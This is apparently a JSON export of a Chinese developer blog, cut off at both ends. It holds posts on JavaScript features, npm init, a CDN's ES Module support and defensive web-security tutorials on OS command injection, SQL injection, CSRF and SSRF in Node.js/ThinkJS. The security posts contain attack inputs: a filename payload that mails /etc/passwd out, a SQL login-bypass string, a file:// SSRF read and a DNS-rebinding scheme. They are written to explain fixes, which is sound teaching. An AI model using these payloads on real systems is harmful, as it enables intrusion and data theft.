的话，由于存在引用计数，那么这个全局变量是一直占用内存的。此时如果使用 WeakRef 改写一下就可以减少 delete 的逻辑了。\nconst metric = \u0026#39;event\u0026#39;; global.DATA[metric] = new WeakRef({}); process.on(metric, () =\u0026gt; { const ref = global.DATA[metric]; if(ref !== undefined) { return ref.deref(); } return ref; }); 后记 除了我上面讲的几个特性之外，还有很多其他的特性也非常一颗赛艇。例如 String.matchAll() 让我们做多次匹配的时候再也不用写 while 了！Intl 本地化类的支持，让我们可以早日抛弃 moment.js，特别是 RelativeTimeFormat 类真是解放了我们的生产力，不过目前接口的配置似乎比较定制化，不知道后续的细粒度需求支持情况会如何。\n参考资料：\n《ES proposal: numeric separators》\n《内存管理》\n《ES6 系列之 WeakMap》\n","count":3230,"date":"2019年05月11日","featuredImage":"https://imnerd.org/assets/migration/p0.ssl.qhimg.com/t017c9d3097502381ee.png","permalink":"https://imnerd.org/what-s-new-in-javascript.html","summary":"\u003cp\u003e前几天 Google IO 上 V8 团队为我们分享了\u003ca href=\"https://www.youtube.com/watch?v=c0oy0vQKEZE\"\u003e《What\u0026rsquo;s New in JavaScript》\u003c/a\u003e主题，分享的语速很慢推荐大家可以都去听听就当锻炼下听力了。看完之后我整理了一个文字版帮助大家快速了解分享内容，嘉宾主要是分享了以下几点：\u003c/p\u003e","time":7,"title":"What's New in JavaScript"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"什么是 OS 命令注入 上周我们分享了一篇 《Web 安全漏洞之 SQL 注入》，其原理简单来说就是因为 SQL 是一种结构化字符串语言，攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句。而今天要讲的 OS 命令注入其实原理和 SQL 注入是类似的，只是场景不一样而已。OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景，当攻击者不合理使用，且开发者对用户参数未考虑安全因素的话，就会执行恶意的命令调用，被攻击者利用。\n在 Node.js 中可以使用 exec() 执行命令。以基于 ThinkJS 开发的博客系统 Firekylin 为例，其中有一个用户上传压缩包导入数据的功能，为了方便直接使用了 tar 命令去解压文件，大致代码如下：\nconst { exec } = require(\u0026#39;child_process\u0026#39;); const extractPath = path.join(think.RUNTIME_PATH, \u0026#39;importMarkdownFileToFirekylin\u0026#39;); module.exports = class extends think.Controller { async upload() { const { path: filePath } = this.file(\u0026#39;import\u0026#39;); exec(`rm -rf ${extractPath}; mkdir ${extractPath}; cd ${PATH}; tar zvxf \u0026#34;${filePath}\u0026#34;`); } } 其中 filePath 是用户上传文件的包含文件名的临时上传路径。假设此时用户上传的文件名为 $(whoami).tar.gz，那么最后 exec() 就相当于执行了 tar zvxf \u0026quot;/xxx/runtime/$(whoami).tar.gz\u0026quot;。而 Bash 的话双引号中的 $() 包裹部分会被当做命令执行，最终达到了用户超乎程序设定直接执行 Shell 命令的可怕结果。类似的写法还有 `` 包裹。当然我这里写的是 whoami 命令显得效果还好，如果是 $(cat /etc/passwd | mail -s \u0026quot;host\u0026quot; i@imnerd.org).tar.gz 能直接获取到机器密码之类的就能体会出这个漏洞的可怕了吧。\n为什么使用 exec 会出问题？\n因为在child_process.exec引擎下，将调用执行\u0026quot;/bin/sh\u0026quot;。而不是目标程序。已发送的命令只是被传递给一个新的\u0026quot;/bin/ sh\u0026rsquo;进程来执行shell。 child_process.exec的名字有一定误导性 - 这是一个bash的解释器，而不是启动一个程序。这意味着，所有的shell字符可能会产生毁灭性的后果，如果直接执行用户输入的参数。 via: 《避免Node.js中的命令行注入安全漏洞》\nOS 命令注入的危害 正如刚才所说，由于能获取直接执行系统命令的能力，所以 OS 命令注入漏洞的危害想必不需要我再强调一遍。总之就是基本上能“为所欲为”吧。\n防御方法 使用 execFile / spawn 在 Node.js 中除了 exec() 之外，还有 execFile() 和 spawn() 两个方法也可以用来执行系统命令。它们和 exec() 的区别是后者是直接将一个命令字符串传给 /bin/sh 执行，而前者是提供了一个数组作为参数容器，最后参数会被直接传到 C 的命令执行方法 execve() 中，不容易执行额外的参数。\n当使用 spawn 或 execfile 时，我们的目标是只执行一个命令（参数）。这意味着用户不能运行注入的命令，因为/bin/ls并不知道如何处理反引号或管道操作或;。它的/bin/sh将要解释的是那些命令的参数。 via: 《避免Node.js中的命令行注入安全漏洞》\n不过这个也不是完美之策，这个其实是利用了执行的命令只接受普通参数来做的过滤。但是某些命令，例如 /bin/find，它提供了 -exec 参数，后续的参数传入后会被其当成命令执行，这样又回到了最开始的状态了。\n白名单校验 除了上面的方法之外，我们也可以选择对用户输入的参数进行过滤校验。例如在文章开头的上传文件的示例里，由于是用户上传的文件名，根据上下文我们可以对其限制仅允许纯英文的文件名其它的都过滤掉，这样也能避免被注入的目的。当然黑名单也不是不可以，只是需要考虑的情况比较多，像上文说的``，$()等等情况都需要考虑，再加上转义之类的操作防不胜防，相比之下还是白名单简单高效。\nlet { path: filePath } = this.file(\u0026#39;import\u0026#39;); filePath = filePath.replace(/[^a-zA-Z0-9.\\/_-]/g, \u0026#39;\u0026#39;); 当然最好还是不要允许用户输入参数，只允许用户选择比较好。\n后记 网络上关于 Node.js 的命令注入漏洞描述的文章比较少，大多都是 PHP 的。虽然大道理是相同的，不过在具体的防御处理上不同的语言稍微有点不一样，所以写下这篇文章分享给大家。当然除了做校验之外，使用非 root 权限用户执行程序限制其权限也能有一定的作用。另外可以定期的搜索下代码中使用 exec() 命令的地方，看看有没有问题。本来这时候应该给大家推荐一款静态分析工具来代替人肉扫描的，不过奈何 Node.js 这方面的静态分析工具不多。总之，日常开发中能不是用系统命令的尽量不是用，实在不得以要用的话也要做好校验，是用 spawn() 等相较安全的方法。\n参考资料：\n《【缺陷周话】第6期：命令注入》\n《[Nodejs] Security: Command Injection》\n《find (Unix)》\n","count":1685,"date":"2018年10月29日","featuredImage":"https://imnerd.org/assets/migration/p0.ssl.qhimg.com/t01570332703b344e44.png","permalink":"https://imnerd.org/web-security-vulnerability-os-command-injection.html","summary":"\u003ch2 id=\"什么是-os-命令注入\"\u003e什么是 OS 命令注入\u003c/h2\u003e\n\u003cp\u003e上周我们分享了一篇 \u003ca href=\"https://zhuanlan.zhihu.com/p/47879057\"\u003e《Web 安全漏洞之 SQL 注入》\u003c/a\u003e，其原理简单来说就是因为 SQL 是一种结构化字符串语言，攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句。而今天要讲的 OS 命令注入其实原理和 SQL 注入是类似的，只是场景不一样而已。OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景，当攻击者不合理使用，且开发者对用户参数未考虑安全因素的话，就会执行恶意的命令调用，被攻击者利用。\u003c/p\u003e","time":4,"title":"Web 安全漏洞之 OS 命令注入"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"什么是 SQL 注入 “有人的地方就有江湖，有数据库存在的地方就可能存在 SQL 注入漏洞。”\n在所有漏洞类型中，SQL 注入可是说是危害最大最受大家关注的漏洞。简单说来，SQL 注入是通过在用户可控参数中注入SQL语法，破坏原有SQL结构，达到编写程序时意料之外结果的攻击行为。还是以 ThinkJS 为例，假设我们写了如下一个接口（实际情况肯定不会这么写的）：\n// user.js module.exports = class extends think.Controller { async loginAction() { const { username, password } = this.post(); const user = await this.model().query( `SELECT * FROM user WHERE name = \u0026#34;${username}\u0026#34; AND password= \u0026#34;${password}\u0026#34;` ); if (think.isEmpty(user)) { return this.fail(); } return this.success(user); } } 当用户提交的 username 是 admin\u0026quot;; -- 的话，最终执行的 SQL 语句就会变成\nSELECT * FROM user WHERE name = \u0026#34;admin\u0026#34;; --\u0026#34; AND password= \u0026#34;111\u0026#34; 最终攻击者就可以成功登录 admin 账号了，这就是最简单的 SQL 注入了。从上面这个简单示例中，我们发现漏洞成因可以归结为以下两个原因叠加造成的：\n程序编写者在处理应用程序和数据库交互时，使用字符串拼接的方式构造SQL语句。 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。 SQL注入根据攻击者获取数据的方式分为回显注入、报错注入以及盲注。刚才演示的直接从返回结果中获取数据则为回显注入，当然也可以通过 MySQL 执行的报错结果中嗅探到数据库的结构和内容，这就是报错注入。盲注则是根据数据库执行的延时等操作来判断是否接近正确值，简单的说来有点像是拿着听诊器试探保险箱的密码的感觉。\n不同的分类原则会有不同的分类，也有按照注入位置及方式不同进行分类分为POST注入、GET注入、cookie注入、盲注、延时注入、搜索注入、base64注入等。不过大家都支持分类形式不同，原理还是一致的，这里就不一一细说了。\nSQL 注入的危害 如果网站存在 SQL 注入漏洞，相当于将数据库直接暴露在攻击者面前，可想而知危害会有多大了。攻击者利用 SQL 注入漏洞能实现以下攻击：\n跳过账户权限验证达到越权 获取数据库关键信息从而进行脱库 在特别情况下还可以修改数据库内容或者插入内容到数据库，如果数据库权限分配存在问题，或者数据库本身存在缺陷，那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。 防御方法 数据校验 从文章开头可以看到，其实漏洞的主要原因还是没有对用户输入的数据进行过滤，所以对来自用户的数据（GET, POST, cookie 等）最好做到以下两种过滤校验：\n检查输入的数据是否具有所期望的数据格式。这种在参数是数字的时候特别有效，如果攻击者选择在参数中插入内容的话则会被转换成 NaN 导致攻击失败。在 ThinkJS 中我们提供了强大的 Logic 功能可以方便的对数据进行格式校验。 使用数据库特定的敏感字符转义函数把用户提交上来的非数字数据进行转义。在 ThinkJS 中封装了 escapeString() 方法可以对敏感字符进行转义，其原理则和 PHP 的 mysql_escape_string() 方法是一致的。 检查输入数据格式在 ThinkJS 中还能防止另外一种非通用 SQL 安全问题。文章开头的示例代码我们在实际的应用中一般会这么写：\n// user.js module.exports = class extends think.Controller { async loginAction() { const { username, password } = this.post(); const user = await this.model(\u0026#39;user\u0026#39;).where({ name: username, password }).find(); if (think.isEmpty(user)) { return this.fail(); } return this.success(user); } } 当我们构造如 name=admin\u0026amp;password[]=!%3D\u0026amp;password[]= 的请求参数时，最终执行的 Model 语句就会变成\nthis.model(\u0026#39;user\u0026#39;).where({name: \u0026#39;admin\u0026#39;, password: [\u0026#39;!=\u0026#39;, \u0026#39;\u0026#39;]}); 由于 HTTP 请求的自动合并数组的特性造成了我们的 SQL 语句并非是我们想要的效果。虽然说框架本身已经针对这种情况进行了处理，当用户输入参数被认为是 SQL 运算符时则会将关键字增加空格，从而将其变成普通字符串避免这个问题。不过这种方法会有 一定的损伤，毕竟当真的要传这几个运算符的情况的时候接收到的数据和请求的不一样还是有点懵逼的。所以最好还是在 Logic 层对数据进行完善的校验将问题前置比较好。\n除了数据校验，也可以选择使用数据库的存储过程和预定义指针等特性来抽象数库访问，使用户不能直接访问数据表和视图。但这个办法又有别的影响。\nvia: SQL注入\n权限限制 严格限制Web应用的数据库的操作权限，给此用户提供仅仅能够满足其工作的最低权限，从而最大限度的减少注入攻击对数据库的危害。**请记住永远不要使用超级用户或所有者帐号去连接数据库！**当数据库被攻击时将损伤限制在当前表的范围是比较明智的选择。通过权限限制可以防止攻击者获取数据库其它信息，甚至利用数据库执行 Shell 命令等操作。\n日志处理 当数据库操作失败的时候，尽量不要将原始错误日志返回，比如类型错误、字段不匹配等，把代码里的 SQL 语句暴露出来，以防止攻击者利用这些错误信息进行 SQL 注入。除此之外，在允许的情况下，使用代码或数据库系统保存查询日志也是一个好办法。显然，日志并不能防止任何攻击，但定期审计数据库执行日志可以跟踪是否存在应用程序正常逻辑之外的 SQL 语句执行。日志本身没用，要查阅其中包含的信息才行。毕竟，更多的信息总比没有要好。\n后记 综上所说之后，大家可能觉得 SQL 数据校验会比较麻烦，其实在 ThinkJS 中已经将关键字处理类的方法已经集成，使用程序提供的 ORM 方法进行 SQL 构造会比自己写 SQL 语句拼接来的更方便，同时也能提高项目代码复用，减少潜在的风险。如果对 ThinkJS 默认的 think-model 不喜欢的话，也可以使用其它第三方的 ORM 框架，例如 think-sequelize。\n参考资料：\n《SQL注入》\n《SQL注入的原理与分类》\n《避免SQL注入》\n《Making a javascript string sql friendly》\n","count":2007,"date":"2018年10月29日","featuredImage":"https://imnerd.org/assets/migration/p0.ssl.qhimg.com/t01a29fcb0e420631be.png","permalink":"https://imnerd.org/@web-security-vulnerability-sql-injection.html","summary":"\u003ch2 id=\"什么是-sql-注入\"\u003e什么是 SQL 注入\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p5.ssl.qhimg.com/t01073ae8584c5ef2b3.jpg\" alt=\"鲁迅\"\u003e\u003c/p\u003e\n\u003cp\u003e“有人的地方就有江湖，有数据库存在的地方就可能存在 SQL 注入漏洞。”\u003c/p\u003e\n\u003c!-- m o r e --\u003e\r\n\u003cp\u003e在所有漏洞类型中，SQL 注入可是说是危害最大最受大家关注的漏洞。简单说来，SQL 注入是通过在用户可控参数中注入SQL语法，破坏原有SQL结构，达到编写程序时意料之外结果的攻击行为。还是以 \u003ca href=\"https://thinkjs.org\"\u003eThinkJS\u003c/a\u003e 为例，假设我们写了如下一个接口（实际情况肯定不会这么写的）：\u003c/p\u003e","time":5,"title":"Web 安全漏洞之 SQL 注入"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"前言 在现代新建一个 JS 相关的项目往往都是从 package.json 文件开始的，不过这个文件里需要的字段实在是太多了，正常人都记不住，所以 npm 官方提供了 npm init 命令帮助我们快速初始化 package.json 文件。执行之后会有一个交互式的命令行让你输入需要的字段值，当然如果你想直接使用默认值，也可以使用 npm init -y 来超速初始化。\nnpx 随着技术的快速发展，发现初始化 package.json 已经无法满足大家的需求了，越来越多的项目需要进行整个项目的初始化。脚手架工具应运而生，除了有通用的脚手架工具 yeoman, sao 之外，很多项目也会开发针对自己项目的脚手架工具，例如 vue-cli, create-react-app 以及专门用来初始化 ThinkJS 项目的脚手架工具 think-cli 等。运行这些工具需要先使用 npm install -g 全局安装这些模块之后才能正常运行。每次都执行这两部操作那其实是有点麻烦的，所以 npm@5.2.0 提供了 npx 命令将安装运行两个步骤合二为一，直接执行 npx think-cli 会先安装 think-cli 模块然后执行 think-cli 命令，最终完成脚手架的启动。\nnpm init \u0026lt;initializer\u0026gt; 可能 npm 的维护者们都比较懒吧，他们发现这么执行还挺累的，所以在 npm@6.1.0 里增加了 npm init \u0026lt;initializer\u0026gt; 这种操作，简单来说就是你执行 npm init thinkjs 的话 npm 会补全模块名为 create-thinkjs 并执行 npx create-thinkjs。\nnpm init thinkjs # same as npx create-thinkjs 对于这种“偷懒”行为，我们只能冠冕堂皇的给它冠上让初始化行为更加语义化了来赞扬一下 npm 了吧[摊手]。\n后记 不得不说，偷懒是解放生产力的唯一动力（大雾，对于 npm 这种操作我只能给 1024 个赞，哈哈！npm init 和 npx 的执行基本是一致的，他们相对于直接执行全局命令来说比较大的优势就是能保证命令模块是最新版的，毕竟如果还要执行 npm update -g 的话又多了一部操作。所以大家还在等什么，赶快去执行下 npm init thinkjs 试试吧！\n参考资料：\n《Create a project using the npm init initializer command》\n","count":672,"date":"2018年09月22日","featuredImage":"https://imnerd.org/assets/migration/p3.ssl.qhimg.com/t019fdc3f64dd66a418.png","permalink":"https://imnerd.org/you-dont-know-npm-init.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e在现代新建一个 JS 相关的项目往往都是从 \u003ccode\u003epackage.json\u003c/code\u003e 文件开始的，不过这个文件里需要的字段实在是太多了，正常人都记不住，所以 npm 官方提供了 \u003ccode\u003enpm init\u003c/code\u003e 命令帮助我们快速初始化 \u003ccode\u003epackage.json\u003c/code\u003e 文件。执行之后会有一个交互式的命令行让你输入需要的字段值，当然如果你想直接使用默认值，也可以使用 \u003ccode\u003enpm init -y\u003c/code\u003e 来超速初始化。\u003c/p\u003e","time":2,"title":"你不知道的 npm init"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"什么是 CSRF 在了解 CSRF 之前我们需要科普两个前提。首先是登录权限验证的方式有很多种，目前绝大多数网站采用的还是 session 会话任务的方式。session 机制简单的来说就是服务端使用一个键值对记录登录信息，同时在 cookie 中将 session id（即刚才说的键）存储到 cookie 中。另外我们又知道浏览器中 HTTP(s) 请求是会自动帮我们把 cookie 带上传给服务端的。这样在每次请求的时候通过 cookie 获取 session id，然后通过它在服务端获取登录信息即可完成用户权限的校验。\n本来这也是个不错的功能。但是由于 cookie 实在是太开放了，如果一个用户在 A 网站登录了，如果用户在 B 网站访问的时候发送了一个 A 网站的请求，那么这个请求其实是带有这个用户在 A 网站的登录信息的。如果这时候 B 站的 A 网站请求是用户不知道的，那就是非常严重的危害了。以上的过程就是跨站请求攻击，即 Cross-Site Request Forgery，即 CSRF。\nCSRF 的危害 简单总结 CSRF 漏洞就是利用网站权限校验方面的漏洞在用户不知觉的情况下发送请求，达到“伪装”用户的目的。攻击者利用 CSRF 实现的攻击主要有以下几种：\n攻击者能够欺骗受害用户完成该受害者所允许的任一状态改变的操作，比如：更新账号细节，完成购物，注销甚至登录等操作 获取用户的隐私数据 配合其他漏洞攻击 CSRF 蠕虫 其中 CSRF 蠕虫如其名所指就是产生蠕虫效果，会将 CSRF 攻击一传十，十传百。如：某社区私信好友的接口和获取好友列表的接口都存在CSRF漏洞，攻击者就可以将其组合成一个CSRF蠕虫——当一个用户访问恶意页面后通过CSRF获取其好友列表信息，然后再利用私信好友的CSRF漏洞给其每个好友发送一条指向恶意页面的信息，只要有人查看这个信息里的链接，CSRF蠕虫就会不断传播下去，其可能造成的危害和影响非常巨大！\n防御方法 从上文的描述中我们可以知道 CSRF 有两个特点：利用 cookie 自动携带的特性以及跨站攻击。那么针对这两个特性可以使用如下解决方法。\n检查 Referer 字段 大家都知道 HTTP 头中有一个 Referer 字段，这个字段用以标明请求来源于哪个地址。通过在网站中校验请求的该字段，我们能知道请求是否是从本站发出的。我们可以拒绝一切非本站发出的请求，这样避免了 CSRF 的跨站特性。\nconst { parse } = require(\u0026#39;url\u0026#39;); module.exports = class extends think.Logic { indexAction() { const referrer = this.ctx.referrer(); const {host: referrerHost} = parse(referrer); if(referrerHost !== \u0026#39;xxx\u0026#39;) { return this.fail(\u0026#39;REFERRER_ERROR\u0026#39;); } } } 同样以 ThinkJS 为例，只要在 Logic 中简单判断下即可。这种方式利用了客户端无法构造 Referrer 的特性，虽然简单，不过当网站域名有多个，或者经常变换域名的时候会变得非常的麻烦，同时也具有一定的局限性。\nToken 验证 由于 CSRF 是利用了浏览器自动传递 cookie 的特性，另外一个防御思路就是校验信息不通过 cookie 传递，在其他参数中增加随机加密串进行校验。这里又有两种办法：\n随机字符串：为每一个提交增加一个随机串参数，该参数服务端通过页面下发，每次请求的时候补充到提交参数中，服务端通过校验该参数是否一致来判断是否是用户请求。由于 CSRF 攻击中攻击者是无从事先得知该随机字符串的值，所以服务端就可以通过校验该值拒绝可以请求。 JWT：实际上除了 session 登录之外，现在越来越流行 JWT token 登录校验。该方式是在前端记录登录 token，每次请求的时候通过在 Header 中添加认证头的方式来实现登录校验过程。由于 CSRF 攻击中攻击者无法知道该 token 值，通过这种方式也是可以防止 CSRF 攻击的。关于如何在 ThinkJS 中使用 JWT 的话可以参考之前的文章《ThinkJS JWT 鉴权实践》。当然 token 登录方式除了 JWT 之外还有 OAuth 等很多种方式。 后记 除了上面说到的 cookie 登录问题造成的 CSRF 攻击，还有就是增删改等操作使用 GET 请求完成，当该请求未校验登录信息的时候也容易造成 CSRF 攻击。当然这种就比较低级了，不过也还是需要注意。特别是当下 SPA 的流行，越来越多的 AJAX 请求，我们更是要注意 CSRF 攻击的可能。\n参考资料：\n《跨站请求伪造》\n《Cross-Site Request Forgery (CSRF)》\n《從防禦認識CSRF》\n《Cross-site Request Forgery/CSRF》\n","count":1514,"date":"2018年09月19日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimg.com/t0189d210a099cd3895.png","permalink":"https://imnerd.org/web-security-vulnerability-csrf.html","summary":"\u003ch2 id=\"什么是-csrf\"\u003e什么是 CSRF\u003c/h2\u003e\n\u003cp\u003e在了解 CSRF 之前我们需要科普两个前提。首先是登录权限验证的方式有很多种，目前绝大多数网站采用的还是 session 会话任务的方式。session 机制简单的来说就是服务端使用一个键值对记录登录信息，同时在 cookie 中将 session id（即刚才说的键）存储到 cookie 中。另外我们又知道浏览器中 HTTP(s) 请求是会自动帮我们把 cookie 带上传给服务端的。这样在每次请求的时候通过 cookie 获取 session id，然后通过它在服务端获取登录信息即可完成用户权限的校验。\u003c/p\u003e","time":4,"title":"WEB安全漏洞之CSRF"},{"comments":{"data":[3],"errmsg":"","errno":0},"contents":"\r75CDN 是一个由奇舞团维护的静态资源托管平台，创立至今已经稳定运行了两年多的时间。近期我们增加了 ES Module 的支持，成为国内首个拥抱 ES Module 服务的静态资源库。\nES Module 是 ES6 中提出的规范，用于让 JavaScript 实现 import 导入模块的功能。其又细分为静态 import 和动态 import 两个特性，目前浏览器的支持情况如下：\n| 浏览器 | 静态 import | 动态 import | |---------------------|-------------|-------------| | Chrome | 61+ | 63+ | | Chrome For Android | 67+ | 67+ | | Firefox | 60+ | 不支持 | | Firefox For Android | 60+ | 不支持 | | Safari | 10.1+ | 11.1+ | | iOS Safari | 10.3 | 11.2+ | | Edge | 16+ | 不支持 | 注： 数据来源于 CanIUse\n开启 ESM 由于目前不是所有的库都支持 ES Module 形式引入，75CDN目前是针对.mjs，esm.js 和 esm.browser.js 结尾的模块开启了 ES Module 的显示。对于符合要求的文件，我们会将“复制 \u0026lt;script\u0026gt; 标签”功能升级为“复制 import 路径”，如下图所示：\n点击“复制 import 路径”按钮即可获得 import 导入的 JS 代码，例如：\nimport chimeePlayer from \u0026#34;//lib.baomitu.com/chimee-player/1.4.6/chimee-player.esm.js\u0026#34; 当然如果你确定当前库是支持 ES Module 引入的，却没有显示“复制 import 路径”，也可以自行拼接格式，或者直接向我们反馈，确认无误后我们会立刻增加相关的支持。\nESM 的使用 对于使用了 ES Module 的 JS 入口文件，在 HTML 中需要使用 \u0026lt;script type=\u0026quot;module\u0026quot;\u0026gt; 来引入。同时对于不支持的情况可以使用 \u0026lt;script nomodule\u0026gt; 来进行降级处理。由于在支持 ES Module 模块导入的时候不会执行该脚本，而不支持的情况会对 type 值非 text/javascript 的引入忽略，从而达到了平滑兼容的效果。下面是个简单的例子：\n// index.html \u0026lt;div id=\u0026#34;wrapper\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;module\u0026#34; src=\u0026#34;main.mjs\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script nomodule src=\u0026#34;main.bundle.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; // main.mjs import chimeePlayer from \u0026#34;//lib.baomitu.com/chimee-player/1.4.6/chimee-player.esm.js\u0026#34; new chimeePlayer({ src: \u0026#39;http://cdn.toxicjohann.com/lostStar.mp4\u0026#39;, wrapper: \u0026#39;#wrapper\u0026#39;, autoplay: true, }) 注意细节 模块内可以使用 import.meta 获取当前模块的加载路径 目前 import 路径仅支持本地路径（相对路径和绝对路径）和URL形式 同一模块多次引入只会执行一次 引用资源需要支持 CORS 跨域头 后记 75CDN 已经两周年了，除了给大家带来了 ES Module 等 Web 新特性之外，我们还会为大家带来更稳定的服务以及更多使用的功能，请大家多多支持！\n参考资料：\n《万岁，浏览器原生支持ES6 export和import模块啦！》\n《ES6 In Depth: Modules》\n《ES modules: A cartoon deep-dive》\n","count":758,"date":"2018年09月12日","featuredImage":null,"permalink":"https://imnerd.org/75cdn-es-module.html","summary":"\u003cimg src=\"https://imnerd.org/assets/migration/p0.ssl.qhimg.com/t011415718d9562ca59.png\" /\u003e\r\n\u003cp\u003e75CDN 是一个由奇舞团维护的静态资源托管平台，创立至今已经稳定运行了两年多的时间。近期我们增加了 ES Module 的支持，成为国内首个拥抱 ES Module 服务的静态资源库。\u003c/p\u003e","time":2,"title":"75CDN 增加 ES Module 支持"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"什么是 SSRF 大家使用的服务中或多或少是不是都有以下的功能：\n通过 URL 地址分享内容 通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览，即所谓的转码功能 通过 URL 地址翻译对应文本的内容，即类似 Google 的翻译网页功能 通过 URL 地址加载或下载图片，即类似图片抓取功能 以及图片、文章抓取收藏功能 简单的来说就是通过 URL 抓取其它服务器上数据然后做对应的操作的功能。以 ThinkJS 代码为例，我们的实现方法大概如下：\nconst request = require(\u0026#39;request-promise-native\u0026#39;); module.exports = class extends think.Controller { async indexAction() { const { url } = this.get(); const ret = await request.get(url); // 这里是处理抓取数据的逻辑 // ... this.ctx.body = ret; } } 本来是个不错的功能，但是当用户输入一个服务器可访问的内网地址，这个情况下它就会把内网的内容抓取出来展现给外网的用户。大多数公司会在内网中放置一些与公司相关的资料和关键数据，如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤，就可能存在这种服务端请求伪造的缺陷，即 Server-Side Request Forgery，简称 SSRF。\nSSRF 的危害 简单来说如果你的这个功能存在 SSRF 漏洞的话，相当于在攻击者和内网之间牵了根线，透过该通能攻击者可以间接访问到内网。攻击者可以利用 SSRF 实现的攻击主要有 5 种：\n可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的 Banner 信息 攻击运行在内网或本地的应用程序（比如溢出） 对内网 Web 应用进行指纹识别，通过访问默认文件实现 攻击内外网的 Web 应用，主要是使用 GET 参数就可以实现的攻击 利用 file 协议读取本地文件 其中最后一条的实现方式是用户输入 file:// 本地文件协议地址，如果不做判断，程序很可能就会把本地文件读取出来返回给用户，例如 file:///etc/password 服务器系统密码。\n防御方法 首先我们需要禁用掉不需要的协议，仅允许 HTTP(s) 请求，防止最后一条使用 file:// 等其它协议引起的问题，然后我们需要对输出内容进行判断，例如我应该输出一张图片，如果抓取返回回来的是一段文本我们就不应该返回。以及如果抓取远端地址导致报错返回的情况，我们需要统一处理返回给用户的内容，而不是直接将远端服务器的内容返回给用户，这样让攻击者了解到了更多远端服务器的信息。\n除了输出内容的处理，我们还要对输入地址进行限制，过滤内网 IP，限制访问内网行为。以之前的示例代码为例，正常我们会增加如下处理：\nconst ip = require(\u0026#39;ip\u0026#39;); const dns = require(\u0026#39;dns\u0026#39;); const { parse } = require(\u0026#39;url\u0026#39;); const lookupAsync = think.promisify(dns.lookup, dns); module.exports = class extends think.Logic { async indexAction() { const { url } = this.get(); const { protocol, hostname } = parse(url); // 判断协议 if( !/https?:/i.test(protocol) ) { return this.fail(); } // 判断内网IP cost host = await lookupAsync(hostname); if( ip.isPrivate(host) ) { return this.fail(); } } } 短链接绕过 大部分情况下这样处理是没有问题的，不过攻击者可不是一般人。这里存在一个两个可以绕过的方式，首先是短链接，短链接是先到短链接服务的地址之后再302跳转到真实服务器上，如果攻击者对内网地址进行短链处理之后以上代码会判断短链服务的 IP 为合法 IP 而通过校验。\n针对这种绕过方式，我们有两种方法来阻止：\n直接根据请求返回的响应头中的 HOST 来做内网 IP 判断 由于跳转后的地址也还是需要 DNS 解析的，所以只要在每次域名请求 DNS 解析处都做内网 IP 判断的逻辑即可 DNS 重新绑定绕过 另外一种绕过方式是利用 DNS 重绑定攻击。\nDNS如何重新绑定的工作\n攻击者注册一个域名（如attacker.com），并在攻击者控制下将其代理给DNS服务器。 服务器配置为很短响应时间的TTL记录，防止响应被缓存。 当受害者浏览到恶意域时，攻击者的DNS服务器首先用托管恶意客户端代码的服务器的IP地址作出响应。 例如，他们可以将受害者的浏览器指向包含旨在在受害者计算机上执行的恶意JavaScript或Flash脚本的网站。\n恶意客户端代码会对原始域名（例如attacker.com）进行额外访问。 这些都是由同源政策所允许的。 但是，当受害者的浏览器运行该脚本时，它会为该域创建一个新的DNS请求，并且攻击者会使用新的IP地址进行回复。 例如，他们可以使用内部IP地址或互联网上某个目标的IP地址进行回复。\nvia: 《DNS 重新绑定攻击》\n简单来说就是利用 DNS 服务器来使得每次解析返回不同的 IP，当在校验 IP 的时候 DNS 解析返回合法的值，等后续重新请求内容的时候 DNS 解析返回内网 IP。这种利用了多次 DNS 解析的攻击方式就是 DNS 重新绑定攻击。\n由于 DNS 重新绑定攻击是利用了多次解析，所以我们最好将校验和抓取两次 DNS 解析合并成一次，这里我们也有两种方法来阻止：\n将第一次 DNS 解析得到的 IP 直接用于第二次请求的 DNS 解析，去除第二次解析的问题 在抓取请求发起的时候直接判断解析的 IP，如果不符合的话直接拒绝连接 针对以上解决方法，有开发者直接封装了 ssrf-agent 模块，使用的时候只要将其传入即可实现一次解析，多次判断的功能，下面是简单的使用示例：\nconst ssrfAgent = require(\u0026#39;ssrf-agent\u0026#39;); const request = require(\u0026#39;request-promise-native\u0026#39;); module.exports = class extends think.Controller { async indexAction() { const { url } = this.get(); try { const ret = await request(url, {agent: ssrfAgent(url)}); this.ctx.body = ret; } catch(e) { return this.fail(); } } } 后记 SSRF 可以说是经久不衰的漏洞攻击了，早些年百度、人人、360搜索等都有过相应的案例。一般以下场景会可能存在 SSRF 问题，我们需要多加注意：\n能够对外发起网络请求的地方，就可能存在 SSRF 漏洞 从远程服务器请求资源（Upload from URL，Import \u0026amp; Export RSS Feed） 数据库内置功能（Oracle、MongoDB、MSSQL、Postgres、CouchDB） Webmail 收取其他邮箱邮件（POP3、IMAP、SMTP） 文件处理、编码处理、属性信息处理（ffmpeg、ImageMagic、DOCX、PDF、XML） 参考资料：\n《[安全科普]SSRF攻击实例解析》\n《浅析SSRF原理及利用方式》\n《SSRF 服务端请求伪造》\n《360CERT——某游戏平台客户端DNS Rebinding攻击预警》\n《关于DNS-rebinding的总结》\n《DNS Rebind Toolkit - 